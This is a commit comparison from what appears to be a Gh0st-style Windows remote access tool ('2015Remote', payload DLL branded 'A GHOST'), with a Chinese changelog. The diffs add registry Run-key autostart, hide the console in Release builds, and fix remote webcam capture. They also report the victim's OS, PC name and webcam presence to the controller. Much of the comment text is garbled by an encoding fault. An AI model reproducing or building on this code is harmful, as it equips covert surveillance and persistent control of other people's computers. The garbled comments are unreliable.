Compare commits
6 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1f03c14fee | ||
|
|
188d5cd24a | ||
|
|
b8ab695e5e | ||
|
|
74c4266eb7 | ||
|
|
fd62f33e60 | ||
|
|
1e7cbcbf5c |
26
ReadMe.txt
26
ReadMe.txt
@@ -152,4 +152,28 @@
|
|||||||
|
|
||||||
2019.1.26
|
2019.1.26
|
||||||
|
|
||||||
发布V1.0.0.3。
|
1、发布V1.0.0.3。
|
||||||
|
|
||||||
|
2、修复Release模式打不开远程视频,或打开视频时画面卡住的问题,问题出在CCaptureVideo GetDIB。
|
||||||
|
|
||||||
|
2019.2.4
|
||||||
|
|
||||||
|
清理垃圾注释、整理不良排版,对代码略有改动。
|
||||||
|
|
||||||
|
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
|
||||||
|
|
||||||
|
发布V1.0.0.4。
|
||||||
|
|
||||||
|
2019.3.24
|
||||||
|
|
||||||
|
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
|
||||||
|
|
||||||
|
2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
|
||||||
|
|
||||||
|
2019.3.29
|
||||||
|
|
||||||
|
1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
|
||||||
|
|
||||||
|
2、发布V1.0.0.5。
|
||||||
|
|
||||||
|
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
|||||||
}
|
}
|
||||||
|
|
||||||
BYTE bToken = TOKEN_AUDIO_START;
|
BYTE bToken = TOKEN_AUDIO_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
|
|||||||
@@ -41,7 +41,6 @@ CCaptureVideo::~CCaptureVideo()
|
|||||||
CoUninitialize() ;
|
CoUninitialize() ;
|
||||||
}
|
}
|
||||||
|
|
||||||
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||||
{
|
{
|
||||||
printf("CCaptureVideo call Open\n");
|
printf("CCaptureVideo call Open\n");
|
||||||
@@ -256,13 +255,16 @@ void CCaptureVideo::SendEnd() //
|
|||||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||||
{
|
{
|
||||||
BYTE *szBuffer = NULL;
|
BYTE *szBuffer = NULL;
|
||||||
|
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NULL
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||||
{
|
{
|
||||||
szBuffer = mCB.GetNextScreen(dwSize);
|
if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><C7B7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ƶ
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
} while (szBuffer==NULL && !m_bExit);
|
Sleep(50);
|
||||||
|
} while (!m_bExit && --n);
|
||||||
|
|
||||||
return szBuffer;
|
return szBuffer;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,6 +20,12 @@ DWORD WINAPI StartClient(LPVOID lParam);
|
|||||||
|
|
||||||
enum { E_RUN, E_STOP } status;
|
enum { E_RUN, E_STOP } status;
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||||
|
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||||
|
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||||
|
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
BOOL CALLBACK callback(DWORD CtrlType)
|
BOOL CALLBACK callback(DWORD CtrlType)
|
||||||
{
|
{
|
||||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||||
@@ -85,7 +91,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||||
{
|
{
|
||||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||||
|
|||||||
@@ -1,6 +1,118 @@
|
|||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
/************************************************************************
|
||||||
|
---------------------
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
|
||||||
|
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
|
||||||
|
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
|
||||||
|
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD>븽<EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
|
||||||
|
<EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
************************************************************************/
|
||||||
|
std::string getSystemName()
|
||||||
|
{
|
||||||
|
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
|
||||||
|
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||||
|
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||||
|
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||||
|
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||||
|
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||||
|
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||||
|
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||||
|
{
|
||||||
|
vname = "Windows 8.1";
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||||
|
{
|
||||||
|
vname = "Windows 10";
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
|
||||||
|
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46>ṹ<EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ
|
||||||
|
OSVERSIONINFOEX os;
|
||||||
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||||
|
if (GetVersionEx((OSVERSIONINFO *)&os))
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
|
||||||
|
switch (os.dwMajorVersion)
|
||||||
|
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>汾<EFBFBD><E6B1BE>
|
||||||
|
case 4:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
|
||||||
|
case 0:
|
||||||
|
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||||||
|
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||||||
|
vname = "Windows 95";
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
vname ="Windows 98";
|
||||||
|
break;
|
||||||
|
case 90:
|
||||||
|
vname = "Windows Me";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
|
||||||
|
case 0:
|
||||||
|
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION &&
|
||||||
|
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||||||
|
vname = "Windows XP Professional x64 Edition";
|
||||||
|
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||||||
|
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
|
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||||||
|
vname = "Windows Server 2003 R2";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
switch (os.dwMinorVersion)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows Vista";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows 7";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2008 R2";
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if (os.wProductType == VER_NT_WORKSTATION)
|
||||||
|
vname = "Windows 8";
|
||||||
|
else
|
||||||
|
vname = "Windows Server 2012";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||||
|
}
|
||||||
|
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||||
|
return vname;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||||
@@ -8,8 +120,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
|||||||
LOGIN_INFOR LoginInfor = {0};
|
LOGIN_INFOR LoginInfor = {0};
|
||||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||||
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||||
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>PCName
|
//<2F><><EFBFBD><EFBFBD>PCName
|
||||||
char szPCName[MAX_PATH] = {0};
|
char szPCName[MAX_PATH] = {0};
|
||||||
|
|||||||
@@ -7,9 +7,9 @@
|
|||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
typedef struct _LOGIN_INFOR
|
||||||
{
|
{
|
||||||
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
|
BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
|
||||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,0,3
|
FILEVERSION 1,0,0,5
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -105,7 +105,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.0.3"
|
VALUE "FileVersion", "1.0.0.5"
|
||||||
VALUE "InternalName", "ServerDl.dll"
|
VALUE "InternalName", "ServerDl.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDl.dll"
|
VALUE "OriginalFilename", "ServerDl.dll"
|
||||||
|
|||||||
@@ -49,6 +49,7 @@
|
|||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -65,6 +66,8 @@
|
|||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -60,6 +60,9 @@
|
|||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
<EntryPointSymbol>
|
||||||
|
</EntryPointSymbol>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -79,6 +82,8 @@
|
|||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -19,15 +19,50 @@ struct CONNECT_ADDRESS
|
|||||||
int iPort;
|
int iPort;
|
||||||
}g_ConnectAddress={0x1234567,"",0};
|
}g_ConnectAddress={0x1234567,"",0};
|
||||||
|
|
||||||
int main()
|
/**
|
||||||
|
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||||
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||||
|
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||||
{
|
{
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||||
|
|
||||||
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
if(lRet != ERROR_SUCCESS)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
return lRet == ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, const char *argv[])
|
||||||
|
{
|
||||||
|
if(!SetSelfStart(argv[0], "a_ghost"))
|
||||||
|
{
|
||||||
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
|
||||||
|
}
|
||||||
char path[_MAX_PATH], *p = path;
|
char path[_MAX_PATH], *p = path;
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p+1, "ServerDll.dll");
|
strcpy(p+1, "ServerDll.dll");
|
||||||
HMODULE hDll = LoadLibraryA(path);
|
HMODULE hDll = LoadLibraryA(path);
|
||||||
typedef void (*TestRun)(char* strHost,int nPort );
|
typedef void (*TestRun)(char* strHost,int nPort);
|
||||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
|
|||||||
Binary file not shown.
@@ -26,7 +26,9 @@
|
|||||||
|
|
||||||
#define UM_ICONNOTIFY WM_USER+100
|
#define UM_ICONNOTIFY WM_USER+100
|
||||||
|
|
||||||
|
// <20>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飨<EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
|
||||||
std::vector<CFileManagerDlg *> v_FileDlg;
|
std::vector<CFileManagerDlg *> v_FileDlg;
|
||||||
|
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飨<EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
|
||||||
std::vector<CRegisterDlg *> v_RegDlg;
|
std::vector<CRegisterDlg *> v_RegDlg;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
@@ -43,38 +45,37 @@ enum
|
|||||||
|
|
||||||
typedef struct
|
typedef struct
|
||||||
{
|
{
|
||||||
char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||||
}COLUMNSTRUCT;
|
}COLUMNSTRUCT;
|
||||||
|
|
||||||
|
const int g_Column_Count_Online = 7; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
COLUMNSTRUCT g_Column_Data_Online[] =
|
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||||
{
|
{
|
||||||
{"IP", 148 },
|
{"IP", 148 },
|
||||||
{"<EFBFBD>˿<EFBFBD>", 150 },
|
{"<EFBFBD>˿<EFBFBD>", 64 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 },
|
